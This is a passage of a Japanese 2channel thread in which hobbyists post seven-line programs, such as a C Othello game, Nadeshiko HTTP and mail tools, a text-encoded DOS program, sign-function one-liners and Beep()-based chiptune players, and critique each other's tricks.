;i<8&&a(i,g);i++,g=x){for(;t[g]==3-m&&a(i,g)&&g>=0&&g<64;){if(t[g]==m){while(g
!=x)t[a((i+4)%8,g)]=m;r=0;}}}if(!r)printf("%s:%d %d\n",m==1?"黒":"白",x%8+1,x/
8+1);return r;}n d(){n s=0,d,i=0;for(;i<64;i++){printf("□\0○\0●"+(d=t[i])*3
);if(i%8==7)puts("");s=s?d&&s!=d?3:s:d;}return s!=3;}void main(){n x=1,y,p,m=0
,c=0,k=0,r=-1;t[35]=t[28]=1;t[27]=t[36]=2;while(!d()||x&&k!=r){puts("x y");
scanf("%d %d",&x,&y);m=m?m:x?1:2;if(x||--x>7||--y>7||h(x+y*8,m))continue;if(d(
))break;k=r=(c++/2+x*8+y)%64;while(++k!=r&&h(k,3-m))if(k>64)k=0;}x=y=c=0;for(;
c<64;c++)if(p=t[c])p==1?x++:y++;printf("黒:%d 白:%d %s",x,y,x>y?"黒の勝ち":x<y
?"白の勝ち":"引き分け");}
12行までいけたけどもうやめるわ。すまんかったな
0168デフォルトの名無しさん
2006/12/04(月) 18:13:07関数使いすぎ。
グローバル変数は仕様上自動的にゼロに初期化される。
セミコロン多すぎ、結果if文増えすぎ。
for文やwhile文多すぎ。これらは工夫で1つか2つまで減らせるはず。
breakやcontinue使うとかありえない。最初から構造をもっと考えて設計するといいと思う
番兵使おう。
別のお題で再挑戦頑張れ
0169デフォルトの名無しさん
2006/12/04(月) 18:13:490170デフォルトの名無しさん
2006/12/04(月) 18:16:14>162 >164 >166
0171デフォルトの名無しさん
2006/12/04(月) 18:22:01じゃーお題出してくれ
0172デフォルトの名無しさん
2006/12/04(月) 18:24:04新しい7erが現れるかもしれんし
>>138=>>163=>>165=>>167
なら少しくらい煽り耐性つけろよと言いたいがな
0173デフォルトの名無しさん
2006/12/04(月) 18:40:070174デフォルトの名無しさん
2006/12/04(月) 18:45:310175デフォルトの名無しさん
2006/12/04(月) 18:58:10typedef int n;n t[64]={0};n a(n i,n&g){n s=g%8;g+=("1987"[i%4]-48)*(i>3?-1:1);
return !((!s||s==7)&&s+g%8==7);}n h(n x,n m){n i=0,r=1,g=x;if(t[x])return 1;
for(;i<8&&a(i,g);i++,g=x){for(;t[g]==3-m&&a(i,g)&&g>=0&&g<64;){if(t[g]==m){
while(g!=x)a((i+4)%8,g),t[g]=m;r=0;}}}if(!r)printf("%s:%d %d\n",m==1?"黒":"白"
,x%8+1,x/8+1);return r;}n d(){n s=0,d,i=0;for(;i<64;i++){printf("□\0○\0●"+(
d=t[i])*3);if(i%8==7)puts("");s=s?d&&s!=d?3:s:d;}return s!=3;}void main(){n x=
1,y,p,m=0,c=0,k=0,r=-1;t[35]=t[28]=1;t[27]=t[36]=2;while(!d()||x&&k!=r){puts(
"x y");scanf("%d %d",&x,&y);m=m?m:x?1:2;if(x&&(--x>7||--y>7||h(x+y*8,m)))
continue;if(d())break;k=r=(c++/2+x*8+y)%64;while(++k!=r&&h(k,3-m))if(k>64)k=0;
}x=y=c=0;for(;c<64;c++)if(p=t[c])p==1?x++:y++;printf("黒:%d 白:%d %s",x,y,x>y?
"黒の勝ち":x<y?"白の勝ち":"引き分け");}
0176デフォルトの名無しさん
2006/12/04(月) 19:12:590177デフォルトの名無しさん
2006/12/04(月) 20:06:250178デフォルトの名無しさん
2006/12/04(月) 20:18:210179デフォルトの名無しさん
2006/12/04(月) 21:04:04・ローカル変数は敵だ
・セミコロンも敵だ
・っていうか括弧も敵だ
・参考演算子は神
もっとある?
0180デフォルトの名無しさん
2006/12/04(月) 21:04:45○三項演算子
×参考演算子
0181デフォルトの名無しさん
2006/12/04(月) 21:05:200182デフォルトの名無しさん
2006/12/04(月) 21:19:59番兵は勝利
7行プログラムは作る前から7行(構想と構造が大事)
0183デフォルトの名無しさん
2006/12/04(月) 22:58:03なんか良く分かんないけど感銘を受けた
0184デフォルトの名無しさん
2006/12/04(月) 23:04:01俺もだ
なんかこう… 深いよな
0185デフォルトの名無しさん
2006/12/04(月) 23:08:11サーバーの受信した時は〜
サーバーの受信データを「 」で区切る。ファイル名はそれ[1]の「/」を「」に置換したもの。
もし、ファイル名が空ならば、ファイル名は「index.html」。
もし、ファイル名が存在するならば、ファイル名を開く。違えば、それは「なし」。
内容は「HTTP/1.0 200 OK{改行}Content-Type: text/html{改行}{改行}{それ}」。(サーバーの相手IP)へ(内容)をサーバーで送信。
サーバーの送信完了した時は〜サーバーの相手IPをサーバーが切断。
(^o^)ノ<HTTPサーバーできたぞー
0186デフォルトの名無しさん
2006/12/04(月) 23:14:167行なのはいいとして桁数オーバーしてないか?
0187デフォルトの名無しさん
2006/12/04(月) 23:17:53(^o^)ノ<こっちだったぞー
!「nakonet.nako」を取り込む。
サーバーとはTCPサーバー。そのポートは80。サーバーを開始。
サーバーの受信した時は〜サーバーの受信データを「 」で区切る。ファイル名はそれ[1]の「/」を「」に置換したもの。
もし、ファイル名が空ならば、ファイル名は「index.html」。
もし、ファイル名が存在するならば、ファイル名を開く。違えば、それは「なし」。
内容は「HTTP/1.0 200 OK{改行}Content-Type: text/html{改行}{改行}{それ}」。(サーバーの相手IP)へ(内容)をサーバーで送信。
サーバーの送信完了した時は〜サーバーの相手IPをサーバーが切断。
0188デフォルトの名無しさん
2006/12/04(月) 23:24:390190デフォルトの名無しさん
2006/12/04(月) 23:37:33そんなこたぁ無いだろー。
しかし、なでしこは初見だが、結構日本語風なんだな。びっくりした。
0191デフォルトの名無しさん
2006/12/04(月) 23:41:13「メール宛先を入力してください」と尋ねて、メール宛先に代入。「メール件名を入力してください」と尋ねて、メール件名に代入。
「メール本文を入力してください」で、メモ記入して、メール本文に代入。「いままでの内容が気に入らなければ、{改行}取消ボタンを押してください」を、「続行{改行}取消」のボタン選択。
もし、それが「続行」ならば、「メールホスト:{A}{改行}メール差出人:{B}{改行}メール宛先:{C}
メール件名:{D}{改行}メール本文:{E}{改行}{改行}送信します。」と言う。違えば、終了。
メール送信。「送信が終わりました」と言う。終了。
(^o^)ノ<最低限機能メール送信ソフトだぞー
0192デフォルトの名無しさん
2006/12/04(月) 23:42:040193デフォルトの名無しさん
2006/12/04(月) 23:51:40●更新処理({=""}Fを{=""}Aから{=""}Bへ)
もし、F≠空ならば、「{A}{F}」から「{B}{F}」へファイル移動。
利用リストのアイテムは「{SENDTOパス}*」をファイル列挙。退避リストのアイテムは「{SENDTOパス}退避\*」をファイル列挙。
退避ボタンをクリックした時は〜
「{SENDTOパス}退避\」へフォルダ作成。利用リストをSENDTOパスから「{SENDTOパス}退避\」へ更新処理。
利用ボタンをクリックした時は〜退避リストを「{SENDTOパス}退避\」からSENDTOパスへ更新処理。
(^o^)ノ<Windows送るメニューカスタマイズソフトだぞー
0194デフォルトの名無しさん
2006/12/04(月) 23:55:470195デフォルトの名無しさん
2006/12/04(月) 23:59:24標準で使えるライブラリのサポートが多いせいもありそうだけど
1文字(2Byte)辺りの表現力が高いお陰なのかな
0196デフォルトの名無しさん
2006/12/04(月) 23:59:39なでしこなら
「Hello,World!」を表示。
の一行だぜ
0197デフォルトの名無しさん
2006/12/05(火) 00:00:190198デフォルトの名無しさん
2006/12/05(火) 00:01:33>>197
おまえが空気読め
0199デフォルトの名無しさん
2006/12/05(火) 00:03:38でもせっかくだから、作り易いなら正規表現辺りにチャレンジして欲しい
0200デフォルトの名無しさん
2006/12/05(火) 00:04:430201デフォルトの名無しさん
2006/12/05(火) 00:06:06日本語らしさを追求するばかり、機械的な書き方が出来なくなる、と
しかし二重インタプリタという感じで、メモリも速度も重いんだぜ
0202デフォルトの名無しさん
2006/12/05(火) 00:11:12&&の代わりに&を使うテクニックがあったよね
どういうときに使えるか覚えている人いる?
ぐぐり辛い…
0203デフォルトの名無しさん
2006/12/05(火) 00:12:28なでしこってインタプリタなの?( ゚д゚)
0204デフォルトの名無しさん
2006/12/05(火) 00:15:280205デフォルトの名無しさん
2006/12/05(火) 00:17:12&&は前の式がtrueなら後ろの式が評価されないけど&は評価される
ただ&は演算結果がboolean値ではないので思わぬ結果を巻き起こしやすいので
&&から&に変える場合には最新の注意が必要
0206デフォルトの名無しさん
2006/12/05(火) 00:18:120207デフォルトの名無しさん
2006/12/05(火) 00:19:23なんか作成中なのか?
0208デフォルトの名無しさん
2006/12/05(火) 00:29:40さんくす
結構限定的っぽいですねえ
>>207
いや…自分はまだそんなレベルじゃないです
過去の作品とか見ながら文字数の減らし方とか考えていてふと思ったので…
でも何か出来たら持ってきます
0209デフォルトの名無しさん
2006/12/05(火) 00:45:21あと&&の代わりに*もありがち。ただこっちはオーバフローの危険あり
0210デフォルトの名無しさん
2006/12/05(火) 02:06:550211デフォルトの名無しさん
2006/12/05(火) 06:36:367行なら良いじゃない
なでしこはその前身のひまわりより
書きにくいとも聞くがどうなんだろ
0212デフォルトの名無しさん
2006/12/05(火) 07:08:06なでしこの処理速度はひまわりの十倍です
0213デフォルトの名無しさん
2006/12/05(火) 07:37:08ただ七行にするためのテクニックを駆使するものではなさそうだけど
0214デフォルトの名無しさん
2006/12/05(火) 09:38:440215デフォルトの名無しさん
2006/12/05(火) 10:12:36なでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこ
なでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこ
なでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこ
なでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこ
なでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこ
なでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこ
0216デフォルトの名無しさん
2006/12/05(火) 10:34:18一見ただの荒らしに見えるが、「なでしこ」という文字の中にひとつだけ
違うものが混じっている。探してみよう!
m9(^Д^)
0217デフォルトの名無しさん
2006/12/05(火) 12:01:370218デフォルトの名無しさん
2006/12/05(火) 17:45:460219デフォルトの名無しさん
2006/12/05(火) 21:33:180220デフォルトの名無しさん
2006/12/05(火) 21:41:030221デフォルトの名出しこさん
2006/12/05(火) 23:46:00>>191の真似してメール送信フォームです。
S="メールホストvメール差出人vメール宛先vメール件名vメール本文";C=~もし回数=5ならメール送信;終
S=(Sをvで区切)を全角変換;文字サイズ=16;反復,対象を9,回数*36-24へ文字表示;
ダイアログ数値変換=0;155,10へ移動;4回,E\回数をエディタとして作成;E[回数]→W=400
E\5をメモとして作成;E\5→W=400;E\5→H=230;母艦のタイトル="メール送信";送信とはボタン
その位置="560,365";そのクリック時=~Sで反復,EVAL(対象&「=E[{回数}]→テキスト」),C
0222デフォルトの名無しさん
2006/12/06(水) 03:47:10暗号臭くなって来て良い感じw
0223デフォルトの名無しさん
2006/12/06(水) 09:46:20イイヨイイヨー
0224デフォルトの名無しさん
2006/12/06(水) 15:44:47ホントは「終わり」だったと思うけど
なでしこは漢字+送り仮名の命令に対して
助詞以外の送り仮名は飛ばす
Mindとかでもそうなってるハズ
0225デフォルトの名無しさん
2006/12/13(水) 08:49:50ちょっとなでしこに興味湧いた
0226デフォルトの名無しさん
2006/12/19(火) 00:19:30ファイル指定は8.3形式で、
ゴミがつくのは仕様で、
実行は自己責任で。
H72タPQSVWP[Pクツツ0G=0GAs2A0GN1GP0GY0G[0Gg0Gl0Gv1Gy3ノア0T_)マ)マWセSテ、Iu>%
@3ロKCuフXセ}テ_="@3タャ,&|9uナ_^[Y3タテHP[アトャ<。xタ,0,0ムロムミェ<ノu,)ラ#
Oコ1ス60ニX@ス50ニ@Xスp01?Q1テ30シp0Jソp0ク@ル5キWuヒシ06Nニ@uフi[mコ4スウ06ニ@セ50コ*Oシ30スD51ニ@rタj
(UソD1[[2_Iノシ300Iタカネフネ+ヘNSl12WH2HオTj(ラネヘネヘpYチCコ1ニ@I_シ30カu_ネコ1ニ@T4jロVjシコ[1ス60ニ@
_ス50ニ@セ450ユウスC?0コ1ニ@コ-Oニ@コ1ス460ニ@ス550ニ@ニ@TXKIタXXY1[[X]Xシ?チチHSNH>SPiIPH4SWHSXH
BS\HS]H2ScHSfHdSkHSlIZトクHZ_DVヌDヌ[ソYTチイTjOB`65PIヘUJQjニ\ソnNチ_NAPIGタカFCnL^jツ__]\
LIタチTX]8クツカNーlGタFHFHネJヘネネオNトdjFDヒA6'5B0000'000000&
0227デフォルトの名無しさん
2006/12/19(火) 01:57:170228デフォルトの名無しさん
2006/12/19(火) 02:20:51行末の改行そのままでいいの?
0229デフォルトの名無しさん
2006/12/19(火) 12:45:39やってみた。
・行末の改行はCRLFを残す
・>>226の行末についてしまっている空白は取り除く
・JIS X0201
で。
コード表眺めて気がついたけどNOP使えないから小賢しい技はちょっと使いづらいね。
0230226
2006/12/20(水) 00:14:09ファイルにリダイレクトした時そのまま使えるように。
変な事してるっぽいけど気にしない。
H72タPQSVWP[Pクツツ0G;0G?s1KA0GP1GR0G[0G]0Gi0Gn0Gz3ノア0T_)マ)マWセTテ、Iu>5
4@3ロCAKuフXセ}テ_="54@ャ,&|9uナ_^[Y3タテHP[アトャ<。xタ,0,0ムロムミェIu-tル######Xスp01?Q1テ30シp0
Jソp0ク@ル5キWuヒシ06Nニ@uフi[gコ4スァ0.ニ@セ10コ*Oシ30ス951ニ@rタj(Uソ91[[2_Iノシ300Iタカネフネ+ヘNSl12
WH2HオTj(ラネヘネヘpYチCコ1ニ@I_シ30カu_ネコ1ニ@T4jロVjシコ[1ス60ニ@_ス50ニ@セ450ユウスC?0コ1ニ@コ5Oニ@ニ@T
XKIタXXY1[[X]Xシ?チチHSMHfSOiHUPAHSXHSY]HS]HS^=HSdHSgaHSmIトクcHZ_DヌD:ヌ[ソZチイBTjOJ65
cJPIヘQPJUjニ\ソn>チ_NAJJGPカFCnL^jツ__]\LIタチTX]8クツカNーlGタFHFHネZヘネネオTjdFjフAAA.AAAB00&
0231デフォルトの名無しさん
2006/12/20(水) 00:55:25カタカナ無しは無理かな?int 21hのどこかが必ずカタカナに抵触しそうかな。
確かCD 21だったよね
0232デフォルトの名無しさん
2006/12/20(水) 22:17:27intよりもmovやシフトが使えないのが痛い
0233デフォルトの名無しさん
2007/01/02(火) 01:21:250234デフォルトの名無しさん
2007/01/18(木) 18:49:08参考リンク
http://www.4dm.org/PKU/
7行ネタが思い付かない人は、PKUに挑戦してみるのだ
0235デフォルトの名無しさん
2007/01/19(金) 00:32:26面白いものつくってなーw
0236デフォルトの名無しさん
2007/01/19(金) 05:22:240237デフォルトの名無しさん
2007/01/19(金) 10:43:21石は……?
0238デフォルトの名無しさん
2007/01/19(金) 11:34:140239デフォルトの名無しさん
2007/01/19(金) 16:33:39アセンブラのソースコードでも読めば。
0240デフォルトの名無しさん
2007/01/22(月) 21:26:35A+B Problemからわからんorz
0241デフォルトの名無しさん
2007/01/23(火) 19:04:29問題のヒントに答えが書いてありますがな
0242240
2007/01/23(火) 19:43:36さすがに答えはわかるwそうじゃなくて、どうやって短く書いてんのかがさっぱりわからんってこと。
0243デフォルトの名無しさん
2007/01/23(火) 19:52:47参考程度に昔自分が書いてたコード
main(n){gets(&n);putchar(n%85+5);}
これはAとBの合計が10未満で、
入力の1Byte目がA,2byte目が空白,3byte目がB,4byte目が改行|EOFのときだけ動く。
今はテストケースが改善されて10以上もあるから通らないけどな。
0244デフォルトの名無しさん
2007/01/24(水) 19:14:12using System;using System.Collections.Generic;namespace BWT{public static
class BlockSort{public static int Sort(ref byte[]data){int l=data.Length,i=1,j
;byte[][]t=new byte[l][];t[0]=data;for(;i<l;i++){t[i]=new byte[l];for(j=1;j<l;
j++){t[i][j]=t[i-1][j-1];}t[i][0]=t[i-1][l-1];}Array.Sort<byte[]>(t,new Comp()
);i=Array.IndexOf<byte[]>(t,data);for(j=0;j<l;j++){data[j]=t[j][l-1];}return i
;}}class Comp:IComparer<byte[]>{public int Compare(byte[]x,byte[]y){int r=0,l=
x.Length,i=0;for(;i<l;i++){r=(int)(x[i]-y[i]);if(r!=0)i+=l;}return r;}}}
ジャグ配列のソートを自前で実装するのは行数的に厳しいです orz
修行が足りません。
0245244
2007/01/24(水) 19:41:10using System;using System.Collections.Generic;namespace DBWT{struct DE{public
DE(int i,byte d){Ind=i;Data = d;}public int Ind;public byte Data;}public
static class DeBlockSort{public static void Restoration(int ind,ref byte[]data
){int i,l=data.Length;DE[] de=new DE[l];for(i=0;i<l;i++){de[i]=new DE(i,data[i
]);}Array.Sort<DE>(de,new Comp());for(i=0;i<l;i++){data[i]=de[ind].Data;ind=
de[ind].Ind;}}}class Comp:IComparer<DE>{public int Compare(DE x,DE y){if(x
.Data != y.Data){return(int)(x.Data-y.Data);}else{return x.Ind-y.Ind;}}}}
やっぱりまだまだです orz
0246デフォルトの名無しさん
2007/01/24(水) 20:24:34インタラクティブパールできたよー
0247デフォルトの名無しさん
2007/01/24(水) 20:31:500248デフォルトの名無しさん
2007/01/24(水) 21:10:17これで十分だろと
0249デフォルトの名無しさん
2007/01/24(水) 21:12:09perl -pe "$_=eval($_)"
で十分。
0250249
2007/01/24(水) 21:13:27orz
0251デフォルトの名無しさん
2007/01/25(木) 02:49:12でいいんじゃない?
0252デフォルトの名無しさん
2007/01/25(木) 11:45:00具体的にどういう使い方があるの?
0253デフォルトの名無しさん
2007/01/25(木) 13:43:070254デフォルトの名無しさん
2007/01/25(木) 23:44:260255デフォルトの名無しさん
2007/01/26(金) 00:44:330256デフォルトの名無しさん
2007/01/26(金) 19:59:39if( a<0 ){
a=-1;
}else if( a>0 ){
a=1;
}else{
a=0;
}
を、なんか格好よく書くには どんな本を読んで勉強するべきでしょうか?
0257デフォルトの名無しさん
2007/01/26(金) 20:12:38(a>0)-(a<0)
(a>=0)-(a<=0)
(a>>31)|((unsigned)-x>>31) (算術シフト前提)
0258デフォルトの名無しさん
2007/01/26(金) 20:19:16a = a ? -1 * ( a / a ) : a;
0259デフォルトの名無しさん
2007/01/26(金) 20:22:10a = a > 0 ? 1 : ( a < 0 ? -1 : 0 );
とか。
0261デフォルトの名無しさん
2007/01/27(土) 00:10:370262デフォルトの名無しさん
2007/01/27(土) 01:55:230263デフォルトの名無しさん
2007/01/27(土) 01:56:350264デフォルトの名無しさん
2007/01/27(土) 01:58:510265デフォルトの名無しさん
2007/01/27(土) 06:43:02a=a>0?1:-!!a
0266デフォルトの名無しさん
2007/01/27(土) 10:13:350267デフォルトの名無しさん
2007/01/27(土) 14:25:48スパシーバ
0268デフォルトの名無しさん
2007/01/27(土) 16:11:59:-!!
監禁されてガムテープで口縛られてるみたいだぞ
0269デフォルトの名無しさん
2007/01/27(土) 16:43:12↑ってどう?
0270デフォルトの名無しさん
2007/01/27(土) 17:35:560271デフォルトの名無しさん
2007/01/27(土) 17:44:36正しく動かない。
main(){
int a = -5;
a=a>0||-!!a;
assert(a==-1);
return 0;
}
0272デフォルトの名無しさん
2007/01/27(土) 17:54:520273デフォルトの名無しさん
2007/01/27(土) 18:04:00アホが1匹まじってますよ〜
0274デフォルトの名無しさん
2007/01/27(土) 18:09:37a=a>0?1:-!!a; //13
a=(a>0)-(a<0); //14
a=a>=0+(a>0)-1; //15
a=(a>=0)-(a<=0); //16
a=a>0?1:a<0?-1:0; //17
0275デフォルトの名無しさん
2007/01/27(土) 18:11:143つ目はカッコないとだめだろ
a=(a>=0)+(a>0)-1; //17
0276デフォルトの名無しさん
2007/01/27(土) 18:13:460277デフォルトの名無しさん
2007/01/27(土) 18:16:091desu
0278デフォルトの名無しさん
2007/01/27(土) 21:01:510279デフォルトの名無しさん
2007/01/27(土) 23:27:29やっぱりヘッダだけでもかなり文字数食うのかな。
0280デフォルトの名無しさん
2007/01/27(土) 23:37:201行食うからな…
でもwindows.hだけでbeep音は鳴らせるよな?
0281デフォルトの名無しさん
2007/01/28(日) 00:09:180282デフォルトの名無しさん
2007/01/28(日) 00:25:02昔のMSXとかBASIC見たいにMML鳴らせればねえ
0283デフォルトの名無しさん
2007/01/28(日) 00:58:370284デフォルトの名無しさん
2007/01/28(日) 02:23:05#include <sys/ioctl.h>
#include <fcntl.h>
int main(void){int rfd,dfd;char buf[1024];rfd=open("/dev/random",O_RDONLY);dfd=
open("/dev/dsp",O_WRONLY);while(1){read(rfd,buf,1024);write(dfd,buf,1024);}}
音なるよ
0285デフォルトの名無しさん
2007/01/28(日) 02:42:590286デフォルトの名無しさん
2007/01/28(日) 02:48:27read, write未定義って言われる・・・
0287デフォルトの名無しさん
2007/01/28(日) 02:50:37会社行ったらやってみよ
0288デフォルトの名無しさん
2007/01/28(日) 02:51:01か、
すげーーーーー音なった!!
0289デフォルトの名無しさん
2007/01/28(日) 02:52:090290デフォルトの名無しさん
2007/01/28(日) 02:54:110291デフォルトの名無しさん
2007/01/28(日) 02:56:16ザーって。
0292デフォルトの名無しさん
2007/01/28(日) 02:56:560293デフォルトの名無しさん
2007/01/28(日) 02:57:520294デフォルトの名無しさん
2007/01/28(日) 02:58:00ランダムだからどんなんかな〜と思ったけど、一音そんなに短いのか
0295284
2007/01/28(日) 02:58:13>>290 /dev/randomから読み取ってdspに直書きしてるだけだから>>291です
単一の音色のソフトシンセくらいなら作れる可能性があるね7行で
0296デフォルトの名無しさん
2007/01/28(日) 02:59:21> cat /cygdrive/c/WINDOWS/Media/tada.wav > /dev/dsp
普通にwav鳴らせるんだ・・・
0297デフォルトの名無しさん
2007/01/28(日) 03:00:550298デフォルトの名無しさん
2007/01/28(日) 03:00:59cat /dev/random > /dev/dsp
などとしても音なるよ
同じことです
0299デフォルトの名無しさん
2007/01/28(日) 03:03:29んだんだ
cygwinのdspさんはwaveファイルも使えるんだ
あとioctl()とか使ってサンプリングレートとかチャンネル数とか変えれるから、
ちょっと気張ればネット越しに音鳴らすサウンドサーバが出来る
mixingも自力で頑張ればウハウハ
コード自体はfreebsdでも動くから、bsd機をpxebootで起動させればHDDいらずで(ry
0300デフォルトの名無しさん
2007/01/28(日) 03:36:23int d[]={659,195,2,739,184,2,783,164,4,739,220,2,659,220,2,622,246,4,659,220,2,
739,220,2,493,195,4,554,184,2,622,184,2,659,164,4,587,184,2,523,184,2,493,195,4
,440,220,2,391,220,2,361,246,4,391,220,2,440,220,2,493,195,2,440,195,2,391,246,
2,361,246,2,329,164,2,329,184,2,659,195,2,739,184,2,783,164,4,739,220,2,659,220
,2,622,246,4,659,220,2,739,220,2,493,195,4,554,184,2,622,184,2,659,164,4,587,1\
84,2,523,184,2,493,195,4,440,220,2,391,220,2,369,293,6,391,293,2,391,195,8};vo\
id b(int x,int y, int z){if(y){for(int i=0;i<z/50;++i){Beep(x,25);Beep(y,25);}}
else{Beep(x,z);}Sleep(0);}int WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int){fo\
r(int i=0;i<sizeof(d);i+=3)b(d[i],d[i+1],d[i+2]*100);return 0;}
ノートが周波数そのままなので、七行超えてしまた。Beep()で音が鳴るPCでどうぞ。
Bio_100%の蟹味噌のインスパイアです。
0301デフォルトの名無しさん
2007/01/28(日) 03:53:05すげー、ピコピコなってるよ・・・
かに味噌なつかしす( ´ー`)
0302300
2007/01/28(日) 04:30:09int d[]={659,195,2,739,184,2,783,164,4,739,220,2,659,220,2,622,246,4,659,220,2,
739,220,2,493,195,4,554,184,2,622,184,2,659,164,4,587,184,2,523,184,2,493,195,4
,440,220,2,391,220,2,361,246,4,391,220,2,440,220,2,493,195,2,440,195,2,391,246,
2,361,246,2,329,164,2,329,184,2,659,195,2,739,184,2,783,164,4,739,220,2,659,220
,2,622,246,4,659,220,2,739,220,2,493,195,4,554,184,2,622,184,2,659,164,4,587,1\
84,2,523,184,2,493,195,4,440,220,2,391,220,2,369,293,6,391,293,2,391,195,8};vo\
id b(int x,int y, int z){for(int i=0;i<z/50;++i){Beep(x,25);Beep(y,25);}}int W\
INAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int){for(int i=0;i<sizeof(d)/sizeof(in\
t);i+=3)b(d[i],d[i+1],d[i+2]*100);return 0;}
酷いバグを直して19バイト削減。曲データ抜きなら4行だから、まぁアリってことにしてくださいm(__)m
0303300
2007/01/28(日) 04:53:31関数化する必要ないし。漏れアホス、回線切って首吊ってきます
0304デフォルトの名無しさん
2007/01/28(日) 09:21:18VC8以外でコンパイルできるかは不明なり。
#include <windows.h>
char a[]="949=>9>>=;9848;>>=969444949=>9>>=;98468946899===;98989;<= ;;;;98643"
"134445454545656767878989:9:;<=>",b[]="94942929999;4;468222246894942929999;46"
"894449991335566116611; 113344 4445454;;;9998886664441111111",c[]="888888822"
"2288444444448448888888222288888422844@4444444444448844444444844@@@@422422422"
"4224224224444";int x[99],i,j=32;main(){float s=110;while(j<99)x[j++]=s*=1.05\
95;for(j=0;a[i];++i,j=0)while(j++<c[i]-48)Beep(x[a[i]],30),Beep(x[b[i]],30);}
0305デフォルトの名無しさん
2007/01/28(日) 09:31:50#include <windows.h>
char a[]="949=>9>>=;9848;>>=969444949=>9>>=;98468946899===;98989;<= ;;;;98643"
"134445454545656767878989:9:;<=>",b[]="94942929999;4;468222246894942929999;46"
"894449991335566116611; 113344 4445454;;;9998886664441111111",c[]="888888822"
"2288444444448448888888222288888422844@4444444444448844444444844@@@@422422422"
"4224224224444";int x[99],i,j=32;main(){float s=110;while(j<99)x[j++]=s*=1.05\
95;for(j=0;a[i];++i,j=0)while(j++<c[i]-48)Beep(x[a[i]],30),Beep(x[b[i]],30);}
これでちゃんと鳴る……といいな。
0306デフォルトの名無しさん
2007/01/28(日) 09:39:48ワロス
知らんかった
0307デフォルトの名無しさん
2007/01/28(日) 09:57:20鳴ったよー。gcc cygwin で確認
0308279
2007/01/28(日) 10:24:12レベル高すぎて投下する気なくす…orz
0309デフォルトの名無しさん
2007/01/28(日) 10:38:30すげーww
なんかめちゃくちゃなつかしい
0310デフォルトの名無しさん
2007/01/28(日) 11:42:10bcc5.5だと
1.05\
95;
の部分がエラーになったんだけど、直したら聞けました。つーかすげーこれww
0311デフォルトの名無しさん
2007/01/28(日) 12:04:42#include <fcntl.h>
char a[]="949=>9>>=;9848;>>=969444949=>9>>=;98468946899===;98989;<= ;;;;98643"
"134445454545656767878989:9:;<=>",b[]="94942929999;4;468222246894942929999;46"
"894449991335566116611; 113344 4445454;;;9998886664441111111",c[]="888888822"
"2288444444448448888888222288888422844@4444444444448844444444844@@@@422422422"
"4224224224444";int x[99],d,i,j=32,k=8000,l=8;m(a,b,s){char r[4096];s*=2;a=k/a
;b=k/b;for(j=s;j--;)r[j]=(!(j%a)+!(j%b))*32;write(d,r,s);}main(){float s=1\
10;while(j<99) x[j++]=s*=1.0595;d=open("/dev/dsp",2);for(i=0;a[i];m(x[a\[i]],\
x[b[i]],30*c[i]-48),++i);}
>>305
がんばったけど、7行に出来ない(orz
とりあえず音はなるけど、和音とかしらんので鳴るだけでいいと思ってる (´・ω・` ス
0312デフォルトの名無しさん
2007/01/28(日) 12:12:40#include <unistd.h>
#include <fcntl.h>
char a[]="949=>9>>=;9848;>>=969444949=>9>>=;98468946899===;98989;<= ;;;;98643"
"134445454545656767878989:9:;<=>",b[]="94942929999;4;468222246894942929999;46"
"894449991335566116611; 113344 4445454;;;9998886664441111111",c[]="888888822"
"2288444444448448888888222288888422844@4444444444448844444444844@@@@422422422"
"4224224224444";int x[99],d,i,j=32,k=8000,l=8;m(a,b,s){char r[4096];s*=2;a=k/a
;b=k/b;for(j=s;j--;)r[j]=(!(j%a)+!(j%b))*32;write(d,r,s);}main(){float s=110;
while(j<99) x[j++]=s*=1.0595;d=open("/dev/dsp",2);for(i=0;a[i];m(x[a[i]],x[b[\
i]],30*c[i]-48),++i);}
こうだな
0313デフォルトの名無しさん
2007/01/28(日) 12:18:47#include <fcntl.h>
char a[]="949=>9>>=;9848;>>=969444949=>9>>=;98468946899===;98989;<= ;;;;98643"
"134445454545656767878989:9:;<=>",b[]="94942929999;4;468222246894942929999;46"
"894449991335566116611; 113344 4445454;;;9998886664441111111",c[]="888888822"
"2288444444448448888888222288888422844@4444444444448844444444844@@@@422422422"
"4224224224444";int x[99],d,i,j=32,k=8000,l=8;m(a,b,s){char r[4096];for(j=s;j\
--;)r[j]=(!(j%a)+!(j%b))*32;write(d,r,s);}main(){float s=110;while(j<99) x[j+\
+]=k/(s*=1.0595);d=open("/dev/dsp",2);for(i=0;a[i];m(x[a[i]],x[b[i]],60*c[i]-
96),++i);}
>>312もうちょっと
後はデータをファイルに持たせるとか…か
0314デフォルトの名無しさん
2007/01/28(日) 12:21:34dsp1.cpp:7: error: expected constructor, destructor, or type conversion before '(' token
dsp1.cpp:7: error: expected `,' or `;' before '(' token
dsp1.cpp: In function `int main()':
dsp1.cpp:7: warning: converting to `int' from `float'
dsp1.cpp:10: error: `m' undeclared (first use this function)
dsp1.cpp:10: error: (Each undeclared identifier is reported only once for each function it appears in.)
dsp1.cpp:10:11: warning: no newline at end of file
って、出る('A`)
0315デフォルトの名無しさん
2007/01/28(日) 12:25:41多分、この書き方なんですけど、これってCでいいんですか?
0316デフォルトの名無しさん
2007/01/28(日) 12:31:09using System;using System.IO;class Program{static void Main(string[]args){try{
int i=int.Parse(args[1]);byte[]h=new byte[]{82,73,70,70,36,0,(byte)i,0,87,65,
86,69,102,109,116,32,16,0,0,0,1,0,1,0,68,172,0,0,68,172,0,0,1,0,8,0,100,97,116
,97,0,0,(byte)i,0};using(FileStream f=new FileStream(args[0],FileMode.Create))
{f.Write(h,0,44);h=new byte[i*65536];Random r=new Random(DateTime.Now.Second);
